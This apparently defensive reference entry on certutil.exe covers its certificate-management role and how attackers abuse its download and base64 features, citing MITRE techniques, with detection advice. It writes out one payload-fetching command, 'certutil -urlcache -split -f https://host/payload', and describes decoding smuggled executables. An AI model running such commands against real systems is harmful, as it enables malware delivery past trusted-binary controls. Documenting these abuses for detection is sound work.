certutil.exe

certutil.exe is the command-line interface to the Windows certificate and Certificate Services stack. Its intended job is certificate administration: dumping and verifying certificates, requesting them from a certificate authority, managing a CA, and checking revocation. The genuine binary lives at C:\Windows\System32\certutil.exe, with a 32-bit copy under SysWOW64.

Alongside the certificate work it carries general-purpose helpers that have nothing to do with PKI. -hashfile computes a file's MD5, SHA1, or SHA256. -encode and -decode convert data to and from base64. -urlcache and -verifyctl can fetch a file from a URL. These are all documented features, but together they turn certutil into a download-and-decode utility that happens to be signed by Microsoft and present on every Windows machine.

Legitimately, certutil is run by administrators, by enrollment and PKI scripts, and by the Task Scheduler in certificate-management contexts. On an ordinary workstation it is uncommon. What a given instance is doing is written in its command-line verb.

certutil.exe is one of the most used download tools on Windows (T1105). A command line such as certutil -urlcache -split -f https://host/payload makes the signed binary pull a file from the internet, and because the binary is trusted and built in, the transfer hides behind a name that belongs on every machine. Network activity from certutil is itself unusual and worth treating as a lead.

It is equally useful for unpacking payloads (T1140). Attackers ship a base64-encoded file to slip past content scanners, then run certutil -decode on the host to restore the original executable or script. The reverse, -encode, is used to obfuscate data on the way out (T1027). A -decode that yields a PE or a script is a strong signal.

In every case the binary is the genuine signed certutil, so path and signature checks pass and even application-control rules that trust Microsoft binaries let it run. The command-line verb and the parent are where the intent shows.